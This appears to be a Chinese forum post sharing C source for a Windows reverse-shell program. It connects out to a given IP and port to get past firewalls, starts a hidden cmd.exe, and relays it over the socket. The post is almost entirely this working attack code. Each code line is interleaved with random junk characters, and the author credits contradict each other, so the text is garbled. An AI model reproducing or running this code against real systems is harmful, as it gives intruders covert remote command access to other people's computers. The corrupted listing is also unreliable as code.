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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 *Fy6 -CC1  
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/* ============================== :nx+(xgw  
Rebound port in Windows NT K43%9=sM  
By wind,2006/7 X1#Ar)  
===============================*/ J"aw 1  
#include gFR}WBl/  
#include 9$)&b\D  
4*XNk;Dx  
#pragma comment(lib,"wsock32.lib") X4%uY  
h>pu^ `hk  
void OutputShell(); UoxlEec  
SOCKET sClient; qo [[P)tq  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; M%E<]H2;S  
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void main(int argc,char **argv) r8 9o  
{ AjK5x@\  
WSADATA stWsaData; QAkK5,`vV.  
int nRet; Spn[:u@  
SOCKADDR_IN stSaiClient,stSaiServer; `2f/4]fY  
UT;%I_i!'  
if(argc != 3) I=!kPuw  
{ Q.N!b 7r7  
printf("Useage:\n\rRebound DestIP DestPort\n"); H_&to3b(  
return; i-|N6J  
} 9&sb,^4  
d6n_Hpxw^  
WSAStartup(MAKEWORD(2,2),&stWsaData); NjIPHM$g  
+La2-I  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); G_+/ e]P  
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stSaiClient.sin_family = AF_INET; i^DMnvV.  
stSaiClient.sin_port = htons(0); T=PqA)Ym  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); f&<+45JI  
y8YsS4E^Q  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) (\ab%M   
{ w[X-Q+7p(t  
printf("Bind Socket Failed!\n"); +jhzE%  
return; Va )W[I  
} qSP &Fi  
SJ]6_4=y*  
stSaiServer.sin_family = AF_INET; jL-2 }XrA  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ,:mL\ZED  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ,zgz7  
s4fO4.bnm  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) +,,(8=5 g  
{ ]W;6gmV  
printf("Connect Error!"); wN.S]  
return; CHGa_  
} ;t0 q ?9  
OutputShell(); =\lw.59  
} e,|gr"$/  
254V)(t^QM  
void OutputShell() $ 64up!  
{ wQG?)aaM  
char szBuff[1024]; lpXGsK H2  
SECURITY_ATTRIBUTES stSecurityAttributes; glLVT i  
OSVERSIONINFO stOsversionInfo; 'Q=;I  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; q=pRe-{  
STARTUPINFO stStartupInfo; Z3&}C h  
char *szShell; v,iZnANZ&P  
PROCESS_INFORMATION stProcessInformation; |Y K,&  
unsigned long lBytesRead; (tYZq86`  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); OjhX:{"59  
x|m9?[ !_  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); t#"0^$l=  
stSecurityAttributes.lpSecurityDescriptor = 0; ^2- <XD)  
stSecurityAttributes.bInheritHandle = TRUE; KRL.TLgq)  
Qa,=  
"}v.>L<P  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); v \i"-KH  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); # ][i!9$  
|RL#BKC`  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); di/Q Jrw  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 6C VH)=%  
stStartupInfo.wShowWindow = SW_HIDE; 2{?]W/&fS  
stStartupInfo.hStdInput = hReadPipe; 8)>x)T  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; >OaD7  
#_.J kY  
GetVersionEx(&stOsversionInfo); Hk*1Wrs*  
d1/WUKmbZ  
switch(stOsversionInfo.dwPlatformId) K.xABKPVc  
{ U5kKT.M  
case 1: {3x>kRaKci  
szShell = "command.com"; 0Ncpi=6  
break; 4fs d5#  
default: yU!1q}L!  
szShell = "cmd.exe"; 3aq'JVq   
break; u79- B-YW^  
} KFbB}oId  
fz^j3'!\  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); n/skDx TE  
}PJsPIa3j  
send(sClient,szMsg,77,0); 67iI wY*8'  
while(1) ZjmQ  
{ rD=D.1_   
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 44} 5o  
if(lBytesRead) ?zBu` 7j  
{ J>  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); nx'c=gp  
send(sClient,szBuff,lBytesRead,0); upuN$4m&{  
} ;+wB!/k,  
else o=YOn&@%  
{ }>h n  
lBytesRead=recv(sClient,szBuff,1024,0); % [$HX'Y  
if(lBytesRead<=0) break; @N4~|`?U  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); LH4A!a]  
} #zl1#TC{(  
} 0 SSdp<  
+fk*c[FG  
return; jUm-!SK}q  
}
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